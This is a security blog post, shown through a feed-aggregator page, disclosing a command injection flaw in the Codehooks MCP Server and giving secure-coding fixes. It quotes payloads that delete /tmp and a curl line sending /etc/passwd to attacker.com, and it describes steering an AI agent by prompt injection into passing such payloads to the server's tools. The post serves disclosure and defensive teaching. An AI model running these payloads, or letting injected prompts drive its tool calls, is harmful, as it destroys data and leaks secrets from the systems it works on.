惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

F
Full Disclosure
WordPress大学
WordPress大学
小众软件
小众软件
Cloudbric
Cloudbric
AWS News Blog
AWS News Blog
腾讯CDC
量子位
人人都是产品经理
人人都是产品经理
大猫的无限游戏
大猫的无限游戏
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
V
Vulnerabilities – Threatpost
Scott Helme
Scott Helme
Hugging Face - Blog
Hugging Face - Blog
博客园_首页
C
CXSECURITY Database RSS Feed - CXSecurity.com
The Hacker News
The Hacker News
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
IT之家
IT之家
Jina AI
Jina AI
Attack and Defense Labs
Attack and Defense Labs
S
SegmentFault 最新的问题
Simon Willison's Weblog
Simon Willison's Weblog
The Cloudflare Blog
阮一峰的网络日志
阮一峰的网络日志
T
Tailwind CSS Blog
Last Week in AI
Last Week in AI
博客园 - 【当耐特】
Google Online Security Blog
Google Online Security Blog
美团技术团队
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
V
Visual Studio Blog
罗磊的独立博客
L
LINUX DO - 最新话题
博客园 - Franky
博客园 - 叶小钗
Apple Machine Learning Research
Apple Machine Learning Research
The Last Watchdog
The Last Watchdog
J
Java Code Geeks
AI
AI
C
Cisco Blogs
酷 壳 – CoolShell
酷 壳 – CoolShell
C
Cyber Attacks, Cyber Crime and Cyber Security
Cisco Talos Blog
Cisco Talos Blog
博客园 - 三生石上(FineUI控件)
雷峰网
雷峰网
Help Net Security
Help Net Security
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
云风的 BLOG
云风的 BLOG
I
Intezer
S
Securelist

NodeJS Security & NodeJS Secure Coding's Blog

Hardening Your npm and pnpm Configs in the Age of Shai-Hulud Argument Injection vulnerability in git-blame@1.4.0 Argument Injection vulnerability in `gits@0.1.8` Command Injection vulnerability in `@fab1o/git@1.4.0` Command Injection vulnerability in `git-contributors` via unsanitized CLI arguments Command Injection vulnerability in `git-q@0.0.3` Command injection vulnerability via unsanitized CLI arguments in touxing/fast-git-clone Command Injection vulnerability in `willitmerge@0.2.1` A Directory Traversal Vulnerability I found in Mastra AI Frameworks MCP Server Mastering NPX: A Cheatsheet for npm and Node.js Power Users Mitigate Supply Chain Security with DevContainers and 1Password for Node.js Local Development The Tale of the Vulnerable MCP Database Server Bad Security Defaults in Mastra AI Frameworks Templates SQL Injection and Bypassing "Read-Only" Mode in Xata's MCP Server Security Advisory for qix npm supply-chain compromise affecting debug and billions of weekly download users How to Mitigate SQL Bypass in MCP Servers Enhancing MCP Server Security: A Guide to Using execFile Argument Injection Vulnerability in ggit How to Bypass Access Control in PostgreSQL in Simple PSQL MCP Server for SQL Injection Command Injection Flaws in ggit: Unveiling a Vulnerability Command Injection Vulnerability in Create MCP Server STDIO Tool Exposes System Monitoring Functions GitHub Kanban MCP Server Command Injection Vulnerability Threatens Developer Workflows Critical Command Injection Flaw in iOS Simulator MCP Server Exposes Development Environments SSRF Shenanigans in safe-axios: Redirects Open the Backdoor SSRF Vulnerability in safe-axios: Unintended Public Address Classification Bypassing SSRF Safeguards in ssrfcheck: A Case of Incomplete Denylists Don't Be Fooled by Multicast, SSRF Bypass in private-ip Node.js Authentication from Lucia to Better Auth Bypassing SSRF Protection in nossrf: When Your Safeguards Become Loopholes Vue CLI Security Fix to Mitigate NPM Binary Planting Node.js API Security Vulnerabilities with Path Traversal in files-bucket-server Will You Accept These GPT 4o Secure Coding Recommendations? Command Injection Vulnerability in interactive-git-checkout npm package An Introduction to SSRF Bypasses and Denylist Failures Disclosing a Command Injection Vulnerability in `git-checkout-tool` Prisma Raw Query Leads to SQL Injection? Yes and No Flawed Git Promises Library on npm Leads to Command Injection Vulnerability Regex Gone Wrong: How parse-duration npm Package Can Crash Your Node.js App How I found an XSS in the Nuxt MDC Library for Markdown Content Holes in the Safety Net: Bypassing SSRF Protection in safe-axios How to Parse URLs from Markdown to HTML Securely? NPM Ignore Scripts Best Practices as Security Mitigation for Malicious Packages Where to find npm vulnerabilities? How to Hunt for IDOR Vulnerabilities To Exploit Security Misconfiguration? How to Avoid JWT Security Mistakes in Node.js Can a Node.js Secure Code Review Find Future Vulnerabilities? The Okta bcrypt Security Incident and The Bun vs Node.js Angle in Secure By Design NodeJS Path Traversal Vulnerability Scanner Do not use secrets in environment variables and here's how to do it better How to use npm audit How to use yarn audit Raw SQL Queries are Actually Better for Security Than ORMs? Node API Security Is Node.js Secure? URL Regex Validation: what can go wrong? Uncovering a Prototype Pollution Regression in the core Node.js project Deno CLI Vulnerability Repeats npm mistakes: CVE-2024-37150 Security skills for JavaScript developers Understanding and Preventing Prototype Pollution in Node.js How to protect against a security breach in React Server Components IDOR Vulnerability: What is it and how to prevent it? The security vulnerability of serving images via a route as opposed to static middleware in Node.js Why is it considered a bad practice to write raw SQL commands? JS Security Concepts for JavaScript Developers Secure Coding Practices in Node.js Against Path Traversal Vulnerabilities Secure JavaScript Coding Practices Against Command Injection Vulnerabilities To IDOR or Not to IDOR: Insecure Direct Object Reference in JavaScript Applications Explained npm vulnerabilities: reviewing the security of your dependencies Disclosing code injection vulnerabilities in safe-eval-2 npm package Introducing Node.js Security Permissions Model, Threat Model, and Security Releases Common Node.js Security Issues and How to Mitigate Them How JavaScript developers should embrace npm security The XZ backdoor CVE-2024-3094: a JavaScript perspective Node.js Security Best Practices The Case for Node.js Secure Configuration Protecting Against Common Node.js Vulnerabilities Input Validation Security Best Practices for Node.js A Node.js Vulnerability Scanner to Avoid Security Risks of EOL Runtime Versions JavaScript Security Issues in Node.js Applications OWASP Node.js Authentication, Authorization and Cryptography Practices OWASP Node.js Best Practices Guide Secure JavaScript Coding to Avoid Insecure Direct Object References (IDOR) North Korea malware on npm and Ledger connect-kit crypto heist 10 Best Practices for Secure Code Review of Node.js code Node.js and OWASP Top Ten Command Injection: Don't Let Your App Go 'BOOM' Secure Code Review Tips to Defend Against Vulnerable Node.js Code Destroyed by Dashes: How Two Hyphens Cause Argument Injection Vulnerability in blamer npm Package Securing Your Node.js Apps by Analyzing Real-World Command Injection Examples An Introduction to Command Injection Vulnerabilities in Node.js and JavaScript
Command Injection Vulnerability Discovered in Codehooks MCP Server: A Critical Security Analysis
2025-06-28 · via NodeJS Security & NodeJS Secure Coding's Blog

The Model Context Protocol (MCP) ecosystem has been rapidly gaining traction as developers build AI-powered applications that need structured access to external resources and tools. However, with this growth comes the inevitable security challenges that we must address to ensure the safety of our applications and infrastructure.

MCP Servers act as bridges between AI agents and various external systems, providing capabilities ranging from database operations to file management and serverless code deployment. These servers expose tools that AI agents can invoke, making them critical components in the AI application stack. When these servers contain security vulnerabilities, the impact can be severe, potentially allowing attackers to compromise entire systems through AI agent interactions.

Today, we’re examining a critical command injection vulnerability discovered in the Codehooks MCP Server, a popular implementation that provides database operations, serverless code deployment, and file management capabilities on the Codehooks.io platform. This vulnerability demonstrates a fundamental security flaw that affects not just this specific implementation, but represents a broader pattern of security issues that developers need to be aware of when building MCP Servers.

Understanding Command Injection Vulnerabilities in Node.js

Before diving into the specifics of the Codehooks MCP Server vulnerability, it’s essential to understand what command injection vulnerabilities are and why they’re particularly dangerous in Node.js applications.

Command injection occurs when an application passes unsafe user input to a system shell. In Node.js, this commonly happens when developers use APIs like child_process.exec() with untrusted input. Unlike execFile() which accepts commands and arguments separately, exec() passes the entire string to a shell for interpretation, making it vulnerable to injection attacks.

Consider this simple vulnerable pattern:

const { exec } = require('child_process');

// Vulnerable: User input directly concatenated into shell command

function runCommand(userInput) {

exec(`ls ${userInput}`, (error, stdout, stderr) => {

console.log(stdout);

});

}

An attacker could exploit this by providing input like ; rm -rf /tmp; #, resulting in the execution of unintended commands. This is exactly the type of vulnerability we’ve identified in the Codehooks MCP Server.

The Codehooks MCP Server Vulnerability Deep Dive

The Codehooks MCP Server exposes a tool called query_collection which internally relies on the executeCohoCommand function. This function is designed to execute Codehooks CLI commands but contains a critical security flaw in its implementation.

Let’s examine the vulnerable code:

async function executeCohoCommand(command: string): Promise<string> {

const safeCommand = `coho ${command} --admintoken ***`;

console.error(`Executing command: ${safeCommand}`);

try {

const { stdout, stderr } = await exec(`coho ${command} --admintoken ${config.adminToken} `, {

timeout: 120000 // 2 minutes timeout for CLI operations

});

if (stderr) {

// Sanitize stderr before logging to avoid token exposure

const safeSterr = stderr.replace(new RegExp(config.adminToken, 'g'), '***');

console.error(`Command output to stderr:`, safeSterr);

}

console.error(`Command successful`);

const result = stdout || stderr;

// Sanitize result to ensure admin token is not exposed

return result ? result.replace(new RegExp(config.adminToken, 'g'), '***') : result;

} catch (error) {

// Error handling code...

}

}

The vulnerability lies in the use of exec() with direct string concatenation of the command parameter. While the developers attempted to sanitize the output by replacing admin tokens, they failed to sanitize the input, creating a classic command injection vulnerability.

In past MCP security research work I’ve demonstrated this exact security flaw in MCP Servers, where I used Cursor as my agentic IDE, configured a new MCP Server that was vulnerable to command injection because it allowed a similar insecure code pattern for running commands with exec() and then I prompted the LLM with a malicious payload that was passed by the LLM and then Cursor as the MCP Client to the vulnerable MCP Server. Here is the prompt injection in action:

cursor mcp server vulnerable to command injection

Exploitation Techniques and Proof of Concept

The vulnerability can be exploited when AI agents are manipulated through prompt injection or other attack vectors to call the MCP Server tools with malicious payloads. Here’s how an attack might unfold and shows a basic Command Injection payload.

An attacker could trick an AI agent into calling the vulnerable function with a payload like:

query --collection users; rm -rf /tmp; #

This would result in the following command being executed:

coho query --collection users; rm -rf /tmp; # --admintoken [TOKEN]

The shell interprets this as multiple commands:

  1. coho query --collection users
  2. rm -rf /tmp (malicious command)
  3. Everything after # is treated as a comment

Advanced Exploitation Scenarios

More sophisticated attacks could involve:

  1. Data Exfiltration: Using commands like curl to send sensitive data to external servers
  2. Persistence: Installing backdoors or creating new user accounts
  3. Lateral Movement: Scanning internal networks and attempting to compromise other systems
  4. Resource Exhaustion: Running resource-intensive commands to cause denial of service

Here’s an example of a data exfiltration payload:

query --collection users; curl -X POST https://attacker.com/exfil -d "$(cat /etc/passwd)"; #

Real-World Impact and Risk Assessment

The impact of this vulnerability extends far beyond a simple security bug. In production environments, MCP Servers often run with elevated privileges and have access to sensitive resources. A successful command injection attack could lead to data loss, service disruption, and even complete system compromise.

Even more so, there are broader MCP ecosystem security risks:

  • AI Agent Manipulation: Prompt injection techniques can be used to trigger the vulnerability
  • Supply Chain Attacks: Compromised MCP Servers can affect multiple downstream applications
  • Trust Erosion: Security incidents can undermine confidence in AI-powered systems

This vulnerability is particularly concerning because it can be triggered through AI agent interactions, creating a new attack vector where adversaries manipulate AI systems to compromise infrastructure.

Secure Coding Practices for MCP Server Development

The Codehooks vulnerability highlights several important security principles that all MCP Server developers should implement:

1. Use Safe Command Execution APIs in Node.js

Instead of exec(), use execFile() which separates the command from its arguments:

const { execFile } = require('child_process');

// Secure: Command and arguments are separated

async function executeCohoCommandSecure(command: string, args: string[]): Promise<string> {

try {

const { stdout, stderr } = await execFile('coho', [command, ...args, '--admintoken', config.adminToken], {

timeout: 120000

});

return sanitizeOutput(stdout || stderr);

} catch (error) {

throw new Error(`Command execution failed: ${error.message}`);

}

}

2. Implement Input Validation and Sanitization for MCP Server Tools input and output

Always validate and sanitize input before processing:

function validateCommand(command: string): boolean {

// Allow only alphanumeric characters, hyphens, and underscores

const allowedPattern = /^[a-zA-Z0-9_-]+$/;

return allowedPattern.test(command);

}

async function executeCohoCommandWithValidation(command: string): Promise<string> {

if (!validateCommand(command)) {

throw new Error('Invalid command format');

}

// Proceed with secure execution

}

3. Use Command Termination Techniques

When you must use shell commands, employ the -- technique to terminate command interpretation:

// Using -- to terminate command flags

const command = `coho ${sanitizedInput} -- --admintoken ${config.adminToken}`;

If you’re curious about real-world examples, the npm blamer package was found to be vulnerable to argument injection that could lead to command injection vulnerabilities. This is a good example of how even seemingly innocuous characters can lead to security issues.

Prevention Strategies for MCP Server Security

Based on my experience with Node.js security and the patterns I’ve documented in my Node.js Secure Coding work, here are comprehensive strategies for preventing command injection vulnerabilities in MCP Servers:

1. Security-First Development Approach

  • Threat Modeling: Consider how AI agents might be manipulated to exploit your tools
  • Code Review: Implement mandatory security reviews for all command execution code
  • Static Analysis: Use tools like Snyk to detect insecure code patterns in MCP Servers

2. Dictionary Allow-list

// Implement command allowlisting

const ALLOWED_COMMANDS = ['query', 'list', 'status'];

function validateCommand(command: string): boolean {

const baseCommand = command.split(' ')[0];

return ALLOWED_COMMANDS.includes(baseCommand);

}

3. Sandboxing and Isolation

Consider running MCP Servers in isolated environments:

  • Docker Containers: Limit filesystem and network access
  • User Permissions: Run with minimal required privileges
  • Resource Limits: Implement CPU and memory constraints

Generally it’s a good idea to run MCP Servers with the least privileges necessary to perform their tasks and run them in ephemeral environments that can be easily discarded, recreated, and contain minimal permissions and access to resources.

Industry Response and Disclosure Process

The discovery and disclosure of this vulnerability follows responsible security practices that are crucial for maintaining ecosystem security. The vulnerability has been:

  1. Responsibly Disclosed: Reported to the maintainers through proper channels
  2. Publicly Documented: Published as GHSA-fhq6-jf5q-qxvq
  3. Community Awareness: Shared to help other developers avoid similar issues

This process reflects the security community’s (and myself of course :-)) commitment to improving the overall security posture of open-source software.

Learning from Similar Vulnerabilities

This isn’t the first time we’ve seen command injection vulnerabilities in Node.js applications. As I’ve documented in my research on exploiting MCP Servers vulnerable to command injection, these vulnerabilities represent a broader pattern in the ecosystem.

Similar vulnerabilities have affected:

  • Build Tools: Many CI/CD systems have suffered from command injection flaws
  • Package Managers: npm and similar tools have had injection vulnerabilities
  • Web Applications: Countless web apps have been compromised through command injection

The common thread is the misuse of shell execution APIs in Node.js, particularly when handling user input.

Conclusion and Call to Action

The command injection vulnerability in the Codehooks MCP Server serves as a critical reminder that security must be a fundamental consideration in AI infrastructure development. As we build systems that bridge AI agents with powerful capabilities, we must ensure that these bridges don’t become attack vectors.

The security of AI-powered applications depends on the security of every component in the stack. By learning from vulnerabilities like this one and implementing robust security practices, we can build AI systems that are both powerful and secure.

As I continue my work in Node.js security research and education, I encourage developers to prioritize security in their MCP Server implementations. The future of AI applications depends on the foundation we build today.


This vulnerability analysis is part of ongoing security research. For more insights on Node.js security and secure coding practices, check out my comprehensive guide at Node.js Security

References

  1. Codehooks MCP Server Security Advisory
  2. Exploiting MCP Servers Vulnerable to Command Injection
  3. Node.js Secure Coding: Defending Against Command Injection Vulnerabilities
  4. Liran Tal’s Node.js Security blog
  5. Liran Tal’s blog